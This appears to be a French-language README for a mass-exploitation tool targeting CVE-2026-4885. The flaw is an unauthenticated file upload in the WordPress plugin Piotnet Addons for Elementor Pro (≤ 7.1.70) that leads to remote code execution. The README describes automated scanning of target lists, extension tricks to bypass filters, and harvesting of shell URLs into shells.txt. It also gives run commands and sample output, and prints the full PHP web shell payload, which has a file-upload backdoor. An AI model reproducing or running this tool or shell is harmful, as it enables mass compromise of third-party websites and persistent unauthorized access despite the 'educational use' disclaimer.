
Piotnet Addons for Elementor Pro <= 7.1.70 - Téléchargement arbitraire de fichier non authentifié via le téléchargement de fichier de formulaire
Téléchargement arbitraire de fichier sans authentification menant à une exécution de code à distance (RCE) dans Piotnet Addons for Elementor Pro ≤ 7.1.70.
Cet outil est conçu pour l'exploitation massive – fournissez-lui une liste de cibles, et il effectuera automatiquement :
post_id, form_id et le nom de champ de téléchargement correct.phtml, .php3, .php4, .phps, .pht, .php2) pour contourner les filtres faiblespafe_export_databaseLogic_Internet) et enregistrer l'URL dans shells.txt⚠️ Avertissement
Cet outil est réservé aux tests de sécurité éducatifs et autorisés.
Toute utilisation non autorisée contre des systèmes dont vous n'êtes pas propriétaire est illégale.Vous pouvez consulter l'avertissement complet sur la couverture de Jenderal92. Vérifiez-le ICI !!!
data-pafe-form-builder-field-name, data-elementor-id, etc.)https:// si manquant/contact, /apply, /quote, /book-appointment, …)wp-content/uploads/piotnet-addons-for-elementor/ et aux chemins racine directsrequestspip install requests
Installation
git clone https://github.com/Jenderal92/CVE-2026-4885.git
cd CVE-2026-4885
Utilisation
Créez un fichier nommé targets.txt (ou tout autre nom) avec une URL par ligne :
https://example1.com
example2.com
http://vulnerable-site.org
python2 CVE-2026-4885.py targets.txt
Le script :
· Afficher la progression pour chaque cible
· Enregistrer les URLs de shell réussies dans shells.txt
Exemple de sortie
[*] Loaded built-in shell (598 bytes)
[*] scanning 25 pages...
[+] found form at https://target.com/contact | post_id=13 form_id=fa2c60e field=file
[*] post_id=13 form_id=fa2c60e field=file
[*] trying .phtml
[+] uploaded .phtml
[+] shell URL: https://target.com/wp-content/uploads/piotnet-addons-for-elementor/xxx-6a11e162a6099.phtml
[+] SHELL UPLOADED -> https://target.com/wp-content/uploads/piotnet-addons-for-elementor/xxx-6a11e162a6099.phtml
Options de ligne de commande (personnalisables dans le script)
Variable Description Valeur par défaut TIMEOUT Délai d'expiration de la requête HTTP 10 secondes MAX_THREADS Nombre de threads simultanés 20 OUTPUT_FILE Où enregistrer les URLs de shell réussies shells.txt EXT_LIST Extensions de fichiers à essayer .phtml, .php3, .php4, .phps, .pht, .php2
Vous pouvez les modifier en éditant le début du script.
Charge utile du shell
La charge utile intégrée est :
GIF89a;
<?php
echo 'Logic_Internet'.'<br>'.'Uname:'.php_uname().'<br>'.$cwd = getcwd();
Echo '<center> <form method="post" target="_self" enctype="multipart/form-data"> <input type="file" size="20" name="uploads" /> <input type="submit" value="upload" /> </form> </center>'.'<br>';
if (!empty ($_FILES['uploads'])) {
move_uploaded_file($_FILES['uploads']['tmp_name'],$_FILES['uploads']['name']);
Echo "<script>alert('upload Done');</script><b>Uploaded !!!</b><br>name : ".$_FILES['uploads']['name']."<br>size : ".$_FILES['uploads']['size']."<br>type : ".$_FILES['uploads']['type'];
}
?>
· Affiche les informations du serveur, le répertoire de travail actuel et un formulaire de téléchargement de fichier.
· Peut être remplacé par tout autre code PHP (modifiez simplement SHELL_CODE dans le script).
?ver= dans les ressources du plugin.
· Repli sur la vérification de l'existence de fichiers CSS/JS connus.post_id, form_id et le nom du champ de téléchargement de fichier correct à partir des attributs HTML spécifiques à Piotnet.wp-admin/admin-ajax.php?action=pafe_ajax_form_builder.
· Utilise une charge utile JSON qui imite le mécanisme de téléchargement du plugin.
· Essaie toutes les extensions dans EXT_LIST jusqu'à ce qu'une réussisse.pafe_export_database qui retourne un CSV contenant l'URL complète du fichier téléchargé.
· Analyse l'URL à l'aide d'une expression régulière correspondant à xxx-{random}.ext.Logic_Internet.
· Enregistre l'URL dans shells.txt en cas de succès.UnicodeEncodeError sur Windows
Le script inclut déjà une fonction safe_unicode() qui gère les caractères non ASCII. Si vous voyez encore des erreurs, assurez-vous que votre terminal prend en charge UTF‑8 :
chcp 65001
Aucun formulaire trouvé / Toutes les extensions échouent
· La cible peut être patchée ou ne pas utiliser Piotnet Addons. · Essayez d'augmenter TIMEOUT ou MAX_THREADS. · Vérifiez manuellement que le plugin est réellement installé.
La divulgation échoue mais le téléchargement a réussi
· Le point de terminaison pafe_export_database peut être désactivé ou protégé.
· Essayez d'accéder manuellement à /wp-admin/admin-ajax.php?action=pafe_export_database dans un navigateur pour voir s'il est accessible.
· Utilisez cet outil uniquement sur des systèmes pour lesquels vous avez une autorisation écrite de test. · L'auteur n'est pas responsable de toute utilisation abusive ou des dommages causés. · Respectez toutes les lois applicables.